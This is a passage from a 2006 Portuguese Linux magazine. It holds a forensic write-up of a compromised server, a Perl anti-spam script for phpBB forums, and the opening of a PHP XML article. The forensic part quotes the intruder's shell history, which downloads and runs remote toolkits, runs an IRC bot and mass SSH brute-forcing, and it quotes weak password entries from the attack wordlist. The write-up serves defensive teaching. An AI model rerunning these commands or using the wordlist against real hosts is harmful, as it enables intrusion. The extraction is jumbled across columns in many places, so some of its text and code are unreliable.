fato que segurança não tem quase nada a ver com o software. Segurança não é Suspeitamos imediatamente, pois o um firewall, não é criptografia, nem um comando crontab não se chama crontabs. conjunto de produtos que têm proteção Confirmamos novamente com o RPM: como objetivo. Segurança é um processo que deve ser seguido conscientemente por bash$ rpm -qf /usr/bin/crontabs administradores de redes. Se um ataque o ficheiro /usr/bin/crontabs não pertence ➥ a nenhum pacote acontece, toda a responsabilidade é do
➥ from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: ➥ from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: ➥ from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: ➥ from IP.IP.IP.IP Feb 22 12:26:27 sshd[PID]: ➥ from IP.IP.IP.IP
refused connect
Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que esse programa fazia. Como era um binário, tentamos extrair dele algumas cadeias de caracteres: bash$ strings /usr/bin/crontabs [...] “smbd -D” “(swapd)” & [...]
Ou seja, era o binário crontabs que imprimia na tela as mensagens com o termo (swap). Mas descobrimos ainda que o alienígena continha também a cadeia smbd -D, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava em execução, pois usamos os mesmos rpm -qf e rpm -V para constatar que esses programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE, e conseguimos observar um tal processo smbd -D sendo executado. Chamou-nos a atenção o fato de que o ksysguard mostrava todos os processos sendo executados sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um programa chamado /usr/bin/smbd -D (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa: bash$ strings “/usr/bin/smbd -D” [...] Received SIGHUP; restarting. Generating new %d bit RSA key.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
67
SYSADMIN | Invasão
RSA key generation complete. -b bits Size of server RSA key ➥ (default: 768 bits) By-ICE_4_All ( Hackers Not Allowed! ) SSH-%d.%d-%.50s This server does not support your new ssh ➥ version. Sent %d bit public key and %d bit host key. sshd version %.100s [%.100s] [...]
Omitimos diversas linhas por motivo de clareza. A linha By-ICE_4_All eliminou qualquer dúvida sobre a ocorrência da visita de um cracker à máquina. Mas o mais interessante são as linhas que aparecem abaixo dessa, que nos levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder entrar por SSH quando desejasse. Em /var/log/messages, encontramos a evidência final: Feb 19 19:24:49 localhost smbd ➥ key generation succeeded Feb 19 19:24:50 localhost smbd ➥ key generation succeeded Feb 19 19:24:51 localhost smbd ➥ key generation succeeded Feb 19 19:24:51 localhost smbd ➥ succeeded
-D: RSA1 -D: RSA -D: DSA -D:
Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de servidor Samba, o que não faz sentido algum e, além disso, é forte indício de que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros, pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro. Para o cracker conseguir alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos conferir o histórico de comandos executados por esse usuário no arquivo /root/.bash_history, e obtivemos a seguinte saída: bash# less /root/.bash_history [...] cd /usr/share/.a wget lamisto.octopis.com/mig.tgz tar xzvf mig.tgz ./mig g-u root -n 0 ./mig -u root -n 0 cd /usr/share/.a wget utilservices.iasi.rdsnet.ro/~marianu/
➥ flo.tgz tar xzvf flo.tgz [...] cd /var/tmp wget djanda.com/get/usr.tar.gz wget djanda.com/get/x.tar.gz tar xfvz usr.tar.gz cd usr chmod +rwxrwxrwx * ./crond cd .. tar xfvz x.tar.gz cd x chmod +rwxrwxrwx * mv unix x ./x 201.20; ./x 201.21; ./x 201.22; ./x ➥ 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./ ➥ x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ➥ ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x ➥ 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./ ➥ x 201.50 [...] /usr/sbin/adduser scanning
O formato do arquivo .bash_history não nos permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que: No diretório /usr/share/.a, ele instalou e executou o comando mig, que aparentemente realiza a limpeza do histórico de login do sistema. Usamos o mesmo comando strings para analisar esse binário. Isso confirmou nossa estimativa da data de ataque, pois o comando last (usado para verificar esse histórico) apontou dados inconsistentes por volta de 19 de fevereiro. ➧ Em /var/tmp, foi baixado um tal usr. tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também havia sido alterado, provavelmente para esconder as conexões desse bot a diversos servidores de IRC na porta padrão (6667), o que constatamos com o ksysguard. Explicarei mais adiante o que um cracker pode fazer com isso. Mas o mais interessante foi o arquivo x.tar.gz baixado. Ele continha dois executáveis chamados find e take, além de um script intitulado simplesmente x e um arquivo muito especial de nome
code.conf. Lendo o simplíssimo script x, e verificando no histórico que ele era
executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas de IP inteiras em busca de máquinas com a porta 22 (SSH) aberta. A lista de máquinas encontradas era então passada para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E esse arquivo já tinha uma lista das máquinas nas quais essas ferramentas conseguiram penetrar, naturalmente com suas respectivas senhas. Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles sofreu uma tentativa infrutífera de invasão. Quando chegamos a isso, ainda não estava claro como a máquina de A havia sido invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de Iptables, serviços ativos etc. Parecia tudo correto ou, no mínimo, não alarmantemente errado. Foi quando examinamos com mais atenção o conteúdo do arquivo code.conf e, entre suas mais de 18 mil linhas, encontramos as seguintes: root passw0rd root pa55word root pa55w0rd sapdb sapdb apache apache apache 123456 apache2 apache apache2 apache2 apache2 apache123
Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina invadida colocou a mão na testa e, com voz de lamento, nos contou que a senha de root da máquina era a manjadíssima passw0rd (com um algarismo zero no lugar da letra “o”). O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima da varredura do cracker, e foi assim que ele entrou e ganhou poder total. Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam há anos conectadas à Internet, e jamais haviam sofrido ata-
http://supertuxbr.blogspot.com 68
http://www.linuxmagazine.com.br
Invasão | SYSADMIN
ques. Mas uma simples senha conhecida, bem típica de ambientes de testes, onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são responsabilidade do administrador, e não tanto de um software de segurança em especial.
Reinstalação
Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Dessa vez acompanhei de perto a instalação, e seguimos algumas simples regras de se- Figura 2: Um ataque DDoS é realizado a partir de uma sala de IRC, de onde o cracker envia comandos de ataque a toda sua legião de bots. gurança: a seu dispor um exército de bots, distri➧ Só instalamos pacobuídos geograficamente e programados tes que sabíamos que seriam usados. Desconsideramos totalmente uma para executar ações sob seu comando. instalação completa. O DDoS acontece quando o cracker, ➧ Depois de instalado o sistema, de- Em todas as análises que fizemos, não através de comandos dados aos bots na sativamos alguns serviços que sabí- encontramos nada de útil no ataque do sala de IRC, faz os computadores atacaamos que não seriam usados, como cracker. A máquina estava conectada dos enviarem simultaneamente grandes NIS, Samba, Portmap e NFS, por a outras redes, mas essas não pareciam volumes de pacotes de dados para algum exemplo. interessá-lo. A única conclusão a que site vítima, escolhido pelo cracker. Na➧ Criamos regras para o Iptables, fe- pudemos chegar foi que o cracker ata- quele momento, o link do site vítima chando praticamente tudo, exceto as ca por atacar, e depois usa seu ataque fica sobrecarregado, e a sensação é de portas 80 (HTTP) e 443 (HTTPS). para atacar mais. Simplesmente isso. que ele está fora do ar. Isso pode durar ➧ Requisitamos ao provedor do link, P, Sim, porque as ferramentas, técnicas e o tempo que o cracker desejar. que configurasse regras semelhantes rastros deixados mostram que ele provaEsse processo foi ricamente detalhado em seu roteador, formando um fi- velmente usou ferramentas criadas por pelo dono de um desses site-vítima, em rewall duplo. outros, talvez seguindo uma documen- [1], e é leitura obrigatória a qualquer ➧ Por via das dúvidas, desabilitamos o tação que mostra os comandos prontos, um que se interesse por segurança da acesso de root por SSH, obrigando passo a passo. Ele provavelmente não informação. ■ o administrador a se logar com um sabia direito o que estava fazendo. Sem usuário qualquer e depois ganhar objetivos “mitnickianos”, nem financeiprivilégios com o comando su. Isso ros, nem algo que o exaltasse perante Mais Informações funciona como uma restrição dupla outros crackers. [1] The strange tale of the Denial para administrar a máquina. Nesse ponto, é interessante explicar of Service attacks against grc.com: ➧ Dessa vez foram usadas senhas de- o que é o bot de IRC. Ele se dedica a http://grc.com/dos/grcdos.htm centes, bem difíceis, com letras, nú- desferir ataques do tipo DDoS (Distrimeros, e que não eram derivadas de buted Denial of Service), como mostrapalavras óbvias. do na figura 2. Um bot fica constanteO autor ➧ Por último, as senhas só foram in- mente conectado a uma sala de IRC Avi Alkalay (avix@br.ibm.com) é conformadas para poucas pessoas, e pré-definida. Depois de invadir várias sultor de Linux, Software Livre, Padrões somente de forma verbal. Evitamos máquinas e ativar os respectivos bots, o Abertos e Segurança na IBM Brasil. passar por email. cracker entra nessa sala de IRC e tem
Por que o cracker ataca?
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
69
Um script Perl protege os fóruns contra o spam
PROGRAMAÇÃO
Pérola contra o spam Os spammers não simplesmente enviam emails. Eles exploram fóruns de discussão e blogs, deixando mensagens cheias de links para atrair os mecanismos de busca. Um script Perl consegue limpar a bagunça. por Michael Schilli
Roy Mattappallil – www.sxc.hu
M
eu pequeno fórum de discussão em perlmeister.com recentemente começou a atrair bastante atenção de spammers. Esses parasitas da Web miram seus bots em ferramentas populares de fórum, como o phpBB, e blogs, como o Wordpress, bombardeando-os com mensagens que não contêm nada além de links para páginas de pôquer e pornografia. Os spammers tentam convencer os visitantes do fórum a clicar nos websites de seus patrocinadores, e ao mesmo tempo tentam enganar os mecanismos de busca que classificam a impor-
Figura 1:
Figura 2:
tância das páginas baseados no número de links apontados para elas. O que conhecemos como comentários-spam [1] pode ser reduzido com a restrição de comentários somente a usuários cadastrados. Mas esse obstáculo também pode assustar usuários legítimos preocupados com questões de privacidade. E moderar cada comentário antes que ele apareça no website pode ajudar a manter os spammers longe, mas o esforço que isso requer é imenso – ainda mais se considerarmos os inevitáveis atrasos que prejudicam qualquer discussão. Quadros com letras alteradas (“Digite abaixo as letras do quadro”) podem ajudar a garantir que realmente há uma pessoa do outro lado da conexão, e não um computador. Esses quadros Um switch faz os bots de spam se entregarem. não precisam ser tão complicados quanto nos principais sites de registro, como mostra o blog de Jeremy Zawodny. Nele, simplesmente se Se um usuário se esquecer de marcar a opção certa no switch, uma pede que o usuário dimensagem de erro mostrará o engano. gite a palavra “Jeremy”
em um campo separado. A maioria dos bots não consegue cumprir essa tarefa, pois concentram-se na infecção em massa, ficando incapazes de se adaptar às personalizações empregadas apenas em uma pequena fatia do mercado. E alguns bots não entendem realmente a interação entre Javascript e o DOM do navegador. Isso significa que até mesmo uma simples mudança de local do software do fórum, com um código Javascript ofuscado, é capaz de manter os bots distantes. As figuras 1 e 2 mostram uma extensão trivial do phpBB que acrescenta um switch para classificar os usuários “comentaristas” como spammers. Os bots de spam simplesmente ignoram o switch, ou então aceitam o valor padrão, revelando-se como spammers. Se uma pessoa se esquecer de mudar o valor padrão apresentado, uma mensagem de erro a lembrará. As próprias mensagens já postadas oferecem uma outra abordagem para detectar comentários-spam. Se uma mensagem tiver um grande número de links e pouco texto, podemos presumir tratar-se de spam. Obviamente, falsos positivos podem ser problemáticos, e por isso queremos evitá-los. É muito provável que os usuários não gostem de ter
http://supertuxbr.blogspot.com 70
http://www.linuxmagazine.com.br
Antispam para fóruns | PROGRAMAÇÃO
procedimento. Baseado nessa abordagem, todas as mensagens (incluindo os spams) são mostradas, de início, pelo phpBB, mas o spam é rapidamente apagado sem muito esforço. Como as comunicações com o moderador ocorrem por email, um método que a maioria das pessoas usam extensivamente Figura 3: O moderador do fórum pode verificar as mensagens e decidir se deseja descartar ou mantê-las. todos os dias, o esforço adicional é desprezível seus comentários marcados como lixo, em fóruns com baixo tráfego e, como e pode-se acabar perdendo participantes efeito colateral, o moderador automatipara outros fóruns. camente se mantém em dia com o que se passa no fórum.
Email para o moderador
Impedindo o mau uso
Em fóruns com baixo tráfego, a abordagem baseada em emails para o moderador oferecem uma técnica útil para reduzir o spam. O script posting-watcher, que roda como um cronjob, procura regularmente no banco de dados MySQL usado pelo phpBB entradas não lidas da tabela phpbb_ posts, e faz um cache de seus IDs, junto com uma chave aleatória, no disco local. Em seguida, o script envia uma mensagem com os dados mais importantes da mensagem (figura 3) para o moderador, que pode simplesmente ignorar as mensagens de conteúdo legítimo. Se o comentário for spam, o moderador pode simplesmente responder a mensagem para o script, que por sua vez lerá a chave aleatória contida no email, encontra a ID do comentário no fórum e o apaga sumariamente. Seria possível modificar as tabelas do banco de dados do phpBB diretamente, mas não queria mexer com seu funcionamento interno para evitar efeitos colaterais indesejados. Após apagar a mensagem, o script envia uma confirmação de volta para o moderador. A figura 4 demonstra todo o Cron
FROM: TO: SUBJECT:
New postings?
kdfk kdj dkfdkjf jdkjf lldl ldl dl d ope k kdfk kdj dkfdkjf jdkjf lldl ldl dl d ope k kdfk kdj dkfdkjf jdkjf lldl ldl dl d ope k
Cache
key <123>
_latest
Email client
key <123> key <123>
Email reply
# #
Click
#
Check confirm Scraper (www::Machenize)
.forward
Forum
Figura 4: Nosso matador de spam usa emails para se comunicar com o moderador.
Figura 5: O conteúdo do cache dos arquivos que armazena a chave aleatória e suas respectivas IDs.
com o SQL. Dito isso, uma mistura de Perl e SQL não é exatamente elegante, e é por isso que os desenvolvedores agora tendem a adotar wrappers Perl orientados a objetos sobre bancos de dados relacionais. Essa abordagem envolve o uso de métodos de objetos para consultar o banco de dados e manipular os dados nele guardados. O SQL não é necessário. O framework Rose é justamente o que precisamos para implementar isso em Perl, pois é bastante flexível e rápido na comunicação com bancos de dados SQL. Ele está disponível no CPAN e usa a abstração Rose::DB::Object para acessar linhas em tabelas de bancos de dados.
Tanto o monitor do banco de dados executado regularmente pelo cronjob, quanto o assassino serial de spam por email são implementados pelo mesmo script, posting-watcher. Quando ele é executado com o parâmetro -c (check), ele procura novas mensagens no banco de dados, e envia um email ao moderador para cada nova mensagem encontrada. Ao ser iniciado com a opção -k (kill), o script fica no aguardo de um email com uma chave kill pela entrada padrão. O email não pode simplesmente conter Como mostra o exemplo 1, não é necesa ID do comentário, pois é necessário ter sário fornecer manualmente os nomes certeza de que o email com a sentença das colunas para definir o wrapper obde morte venha do moderador, e não de jeto-relacional. A função auto_initialioutra fonte. Por isso, o script gera uma ze() permite que o Rose realize buscas chave aleatória e a guarda em um arquivo de forma autônoma nos mais populares local (figura 4), juntamente com a ID do sistemas de bancos de dados (MySQL, comentário sob investigação. Se o mo- PostgreSQL, ...), e crie automaticamenderador responder à mensagem, o script te os métodos necessários para construir extrai a chave aleatória e usa a tabela para uma camada de abstração. verificar se a chave está associada a um comentário atualmente sob moderação; ele só tentará apagar o comentário se essa condição for satisfeita.
Relacionamentos
Mais sofisticado
O software de fóruns phpBB distribui os dados do fórum em mais de 30 tabelas do MySQL. Os comentários são armazenados em phpbb_posts, mas seu corpo não. Em vez disso, o phpBB usa a coluna post_id da tabela phpbb_posts para criar um link entre phpbb_posts e outra tabela, phpbb_ posts_text, e então associa o comentário à mensagem completa (figura 6). As consultas que ligam duas tabelas dessa forma são facilmente manipuladas
Figura 6: O link incomum entre duas tabelas do software de fóruns phpBB.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
71
PROGRAMAÇÃO | Antispam para fóruns
Normalmente, as ligações entre taSe o Rose detectar uma chave externa especifica explicitamente o nome da tabela belas de bancos de dados relacionais chamada post_text, buscará outra tabela como phpbb_posts_text. são implementadas por meio de uma chamada post_texts. Depois, ele ligará as Uma relação 1:1 significa que cada chave externa em uma coluna extra, classes PhpbbPost e PostText usando uma linha de phpbb_posts está associada a mas o phpBB é diferente nesse ponto, relação “N para 1” (N:1). Note que os no- uma linha em phpbb_posts_text, e viceusando duas chaves primárias, ambas mes das tabelas estão sempre no plural versa. O importante é chamar add_rechamadas de post_id (figura 6). É uma (post_texts), enquanto os das colunas de lationships antes de auto_initialize();, pena, pois o Rose possui um gerencia- chaves externas são singulares, quando caso contrário, o Rose não criará os métodos de relacionamento necessários dor de convenções que adivinha os re- suas relações são 1:1 ou N:1. com auto_initialize(). lacionamentos entre as tabelas baseado Esse wrapper de abstração, aplicado em convenções (de forma semelhante de forma quase totalmente automática, ao Ruby on Rails). Se tudo estiver configurado de uma forma padrão, pode-se Se o esquema do banco de dados de uma permite que os desenvolvedores consulsimplesmente chamar Rose::DB::Object:: aplicação não seguir essa convenção, pode-se tem o valor da coluna post_id, por exemLoader e deixar o Rose automaticamente tanto modificar o gerenciador de conven- plo, em um objeto da classe PhpbbPost, cuidar de tudo sozinho. ções quanto ajudar pessoalmente o Rose. usando o método post_id() e, graças ao Se ele encontrar uma tabela intitulada Assim, as linhas 50 em diante do exemplo relacionamento criado antes, chamem a phpbb_posts (no plural), cria uma classe 1 especificam os relacionamentos entre a cadeia de métodos text()->post_text() para chamada PhpbbPost (no singular). Os tabela phpbb_posts e as tabelas phpbb_posts_ acessar o texto do comentário do usuário, nomes das tabelas que contenham traço text e phpbb_topics, usando add_relationships localizado na tabela phpbb_posts_text mas baixo (_) tornam-se classes com nomes para isso. O relacionamento text (linha 51) referenciado em phpbb_posts! em FormatoDeCamelo. Portanto, não há especifica uma relação 1:1 entre as tabelas Uma descrição mais aprofundada do necessidade de o PhppbbDB.pm chamar phpbb_posts e phpbb_posts_text. Note que o wrapper de bancos de dados orientado a __PACKAGE_->meta->table(‘phpbb_topics”);, nome da tabela não está no plural nesse objetos Rose, além de exemplos práticos de pois o Rose adivinhará automaticamente caso, pois o phpBB utiliza o singular. O seu uso, estão disponíveis na distribuição o nome da tabela do phpbb_topics baseado Rose consegue entrar nesse jogo sem pro- CPAN do módulo. Em [2], há também no nome da classe de PhpbbTopic. blema, já que a definição de PhpbbPostsText um excelente tutorial do Rose.
Pedindo ajuda
Exemplo 1: PhpbbDB.pm 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
############################# package Phpbb::DB; ############################# use base qw(Rose::DB); __PACKAGE__ ->use_private_registry(); __PACKAGE__->register_db( driver => 'mysql', database => 'forum_db', host => 'forum.db.host.com', username => 'db_user', password => 'XXXXXX', ); ############################# package Phpbb::DB::Object; ############################# use base qw(Rose::DB::Object); sub init_db { Phpbb::DB->new(); } ############################# package PhpbbTopic; ############################# use base "Phpbb::DB::Object"; __PACKAGE__->meta ->auto_initialize(); ############################# package PhpbbPostsText; ############################# use base "Phpbb::DB::Object"; __PACKAGE__->meta->table(
38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
'phpbb_posts_text'); __PACKAGE__->meta ->auto_initialize(); ############################# package PhpbbPost; ############################# use base "Phpbb::DB::Object"; __PACKAGE__->meta->table( 'phpbb_posts'); __PACKAGE__->meta ->add_relationships( text => { type => "one to one", class => "PhpbbPostsText", column_map => { post_id => 'post_id' }, }, topic => { type => “one to one”, class => “PhpbbTopic”, column_map => { topic_id => ‘topic_id’ }, } ); __PACKAGE__->meta ->auto_initialize(); __PACKAGE__->meta ->make_manager_class( 'phpbb_posts'); 1;
http://supertuxbr.blogspot.com 72
http://www.linuxmagazine.com.br
Antispam para fóruns | PROGRAMAÇÃO
Exemplo 2: O script posting-watcher 001 #!/usr/bin/perl -w
057 sub check {
002
058 #############################
003 use strict;
059
004 use PhpbbDB;
060
005 use Cache::FileCache;
061
unless defined $ultimo;
006 use Digest::MD5;
062
my $novas_msgs = PhpbbPost::Manager->get_phpbb_posts(query =>
007 use Mail::Mailer;
[post_id => { gt => $ultimo }]);
008 use Mail::Internet;
063
009 use Text::ASCIITable;
064
my $id = $p->post_id();
010 use Text::Wrap qw(wrap);
065
my $chave = genkey();
011 use Getopt::Std;
066
mail($id, format_post($id, $p->text()->post_text(), $p->topic()-
012 use WWW::Mechanize::Pluggable;
>topic_t itle(), $chave), $chave);
013
067
014 getopts( "kc", \my %opts );
068
015
069
}
016 my $URL_FORUM = "http://foo.com/forum";
070
$cache->set( "_latest", $ultimo );
017 my $USUARIO_FORUM = "USUARIO_FORUM_id";
071 }
018 my $SENHA_FORUM = "XXXXXXXX";
072 #############################
019 my $PARA = 'moderador@foo.com';
073 sub genkey {
020 my $RESPONDER = 'forumcleaner@foo.com';
074 #############################
021 my $VALIDADE = 14 * 24 * 3600;
075
return
022 my $cache = Cache::FileCache->new({cache_root => "$ENV{HOME}/phpbb-
076
Digest::MD5::md5_hex(Digest::MD5::md5_hex(time() . {} . rand() .
cache", n amespace => "phpbb-watcher",});
$$));
023 $cache->purge();
077 }
024 if ( $opts{k} ) {
078 #############################
025
my @dados = <>;
079 sub mail {
026
my $corpo = join '', @dados;
080 #############################
027
if ( $corpo =~ /\[delete-key (.*?)\]/ ) {
081
my ( $id, $corpo, $chave ) = @_; my $m = Mail::Mailer->new('sendmail'); $m->open({To => $PARA, Subject => "Forum News (#$id) ete-key
my $ultimo = $cache->get("_latest"); $ultimo = -1
foreach my $p (@$novas_msgs) {
$cache->set( "key$chave", $id, $VALIDADE ); $ultimo = $id;
028
my $id = kill_by_key($1);
082
029
my $mail = Mail::Internet->new(\@dados );
083
030
if ($mail) {
$chave]", Fro m => $RESPONDER});
031
my $reply = $mail->reply();
084
032
$reply->body(["Mensagem $id apagada.\n\n", @dados]);
085 }
$reply->send() or die "Email de resposta falhou";
086 #############################
033 034 035
}
037 elsif ( $opts{c} ) { check();
039 } 040 else { 041
die "Use -c ou -k";
042 } 043 ############################# 044 sub kill_by_key { 045 ############################# 046
my ($chave) = @_;
047
my $id = $cache->get("key$chave");
048
if ( defined $id ) {
049
msg_remove($id);
050
}
051
else {
052
087 sub format_post { 088 #############################
}
036 } 038
print $m $corpo;
die "Chave invalida: $chave";
053
}
054
return $id;
055 } 056 #############################
089
my ($id, $texto, $topico, $chave) = @_;
090
my $t = Text::ASCIITable->new({ drawRowLine => 1 } );
091
$t->setCols( 'Header', 'Content' );
092
$t->setColWidth( "Header", 6 );
093
$Text::Wrap::columns = 60;
094
$texto =~ s/[^[:print:]]/./g;
095
$t->addRow( 'post', “#$id” );
096
$t->addRow( 'topic', $topico );
097
$t->addRow( 'text', wrap( "", "", $texto ) );
098
$t->addRow( 'key', "[delete-key $chave]" );
099
return $t->draw();
100 } 101 ############################# 102 sub msg_remove { 103 ############################# 104
my ($post_id) = @_;
105
my $mech = WWW::Mechanize::Pluggable->new();
106
$mech->get($URL_FORUM);
107
$mech->phpbb_login($USUARIO_FORUM, $SENHA_FORUM);
108
$mech->get("$URL_FORUM/viewtopic.p=$post_id");
109
$mech->phpbb_post_remove($post_id);
110 }
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
73
PROGRAMAÇÃO | Antispam para fóruns
Gerador de chaves
Para suportar consultas coletivas no estilo SELECT para uma tabela abstrata, a classe PhpbbPost recebe a ordem (linha 71 do exemplo 1) para criar a classe PhpbbPost::Manager, cujo método query() realiza a consulta. Note que a sintaxe dessa consulta é uma estrutura surpreendentemente limpa em Perl puro (linha 62 do exemplo 2): [post_id => {gt => $latest}]. A consulta corresponde a SELECT ... WHERE post_id > $latest. Se a busca tiver sucesso, o método get_phpbb_posts() retorna uma referência a um vetor que contém os objetos que casam com outros objetos da classe PhpbbPost. Graças aos métodos post_id(), text()->post_text() e topic()->topic_title(), e às relações definidas para as tabelas, os objetos retornam a ID do comentário, seu título e o conteúdo como texto. O script postingwatcher (exemplo 2) usa esses dados para gerar um email para o moderador. O cache persistente, que mapeia a ID dos comentários às chaves aleatórias mencionadas anteriormente, é implementado pelo módulo do CPAN Cache:: FileCache. Conforme especificado na linha 25, as entradas tornam-se obsoletas após 14 dias, e então são consideradas aceitas. O método purge() (linha 23) limpa as entradas obsoletas. A ID da última mensagem a ser moderada é armazenada no cache pela linha 59, sob a chave _latest. O cache é responsável por mapear as chaves aleatórias às IDs dos comentários para os emails mencionados anteriormente. A função check() do exemplo 2 extrai do cache a ID do último comentário atualmente sob avaliação, e realiza uma consulta SQL que retorna todos os comentários com IDs mais recentes. A chave de 32 bytes em formato hexadecimal é criada pela função genkey() na linha 76. Ela usa um método copiado do módulo CPAN Apache::Session, que passa a hora atual, um endereço de me-
Figura 7: Confirmando o apagamento.
Instalação
mória, um número aleatório e a ID do processo atual através de um hash MD5 Para assegurar que os emails enviados duas vezes, para produzir um parâme- à conta Unix do matador de spam setro aleatório. jam remetidos para o posting-watcher, Essa combinação cria uma chave quase precisamos de um arquivo .forward no 100% única, que também é muito difícil diretório do usuário, com o seguinte de adivinhar. Todos que conhecerem essa conteúdo: |/caminho/completo/para/o/poschave conseguirão apagar do fórum o ting-watcher-kill.sh. comentário mapeado a ela no cache. O A linha de comando completa então é script do exemplo 2 manda a chave para disponibilizada no script shell executável o moderador e, se este a enviar de volta posting-watcher-kill.sh: ao script, o comentário será removido por um agente responsável por simular #!/bin/sh os cliques de mouse respectivos na inter- /caminho/completo/para/o/posting-watcher -k face gráfica de administração do fórum. O motivo disso é que o arquivo .forward não pode lidar com opções de linha de comando, apenas chamadas simples a Para assegurar que as mensagens sobre programas ou scripts. novos comentários recebidas pelo moCertifique-se de fornecer seus próprios derador sejam corretamente formatadas, valores nas linhas 16 a 21 do exemplo 2 a função format_post definida na linha 87 com endereços de email válidos, a URL coloca a ID, o título e o texto na caixa do fórum e o nome de usuário e a senha ASCII mostrada na figura 3. A caixa é cria- do administrador do fórum. da sem cerimônia pelo módulo CPAN O cronjob responsável pela verificaText::ASCIITable. Como o texto contém ção de novas entradas no banco de databulações e outros caracteres não impri- dos a cada 15 minutos é executado pelo míveis, a expressão regular da linha 190 comando crontab -e, seguido de */15 * os substitui por pontos. Antes de o texto * * * /caminho/completo/até/o/postingser inserido na caixa, o módulo Text:: watcher -c. Wrap estabelece a largura da linha em 60 O importante é garantir que o script caracteres. Finalmente, format_post insere encontre o arquivo de módulo PhpbbDB. a chave secreta na última linha da tabela pm. Se esse arquivo estiver em um local ASCII. Uma linha Assunto: é adicionada diferente dos outros módulos Perl, podeao email, permitindo que o moderador se apontar o script posting-watcher para o pressione Responder no cliente de email diretório de módulos, com o comando para retornar a chave como parte da linha use lib ‘/caminho/até/o/diretório_com_ do assunto (com “Re: ...” acrescentado) o_módulo’;. ao matador de spam. É possível estender o script para automaticamente apagar os comentários que obedeçam critérios específicos (que contenham mais que uns poucos links, ou certas palavras-chave, por exemplo) sem que seja pedida autorização ao moO msg_remove na linha 102 inicia o apaga- derador. Morte ao spam! ■ mento com um mecanismo de plugin que utiliza o módulo CPAN WWW::Mechanize::Pluggable. O módulo suporta a Mais Informações construção de plugins simples, que depois [1] Benjamin Trott, “Comment Spam”: podem ser enviados e compartilhados no http://www.sixapart.com/about/ CPAN, para estender o WWW::Mechanize news/2003/10/coment_spam.html com recursos práticos. Por exemplo, WWW:: [2] Um excelente tutorial de Rose: Mechanize::Pluggable::Phpbb adiciona os http://search.cpan.org/dist/ métodos phpbb_login e phpbb_post_remove Rose-DB-Object/lib/Rose/ ao WWW::Mechanize para permitir o login DB/Object/Tutorial.pod do usuário do navegador virtual como administrador no fórum PhpBB, e pres[3] Software para fóruns phpBB: siona os botões certos para apagar um http://phpbb.com comentário identificado por sua ID. A [4] Exemplos deste artigo: função msg_remove então envia um email http://www.linuxmagazine.com. para o moderador para confirmar que a br/issue/26/exemplos.zip tarefa foi completada (figura 7).
ASCII Art por email
Assassino serial do CPAN
http://supertuxbr.blogspot.com 74
http://www.linuxmagazine.com.br
Manipulação de arquivos XML com PHP
PROGRAMAÇÃO
Combinação perfeita A manipulação de arquivos XML é de suma importância no desenvolvimento de aplicações, seja para o armazenamento de arquivos de configuração, de dados reais, ou mesmo para o intercâmbio de informações entre diferentes aplicações. Use as funções SimpleXML do PHP 5 para tratar arquivos XML. por Pablo Dall’Oglio
X
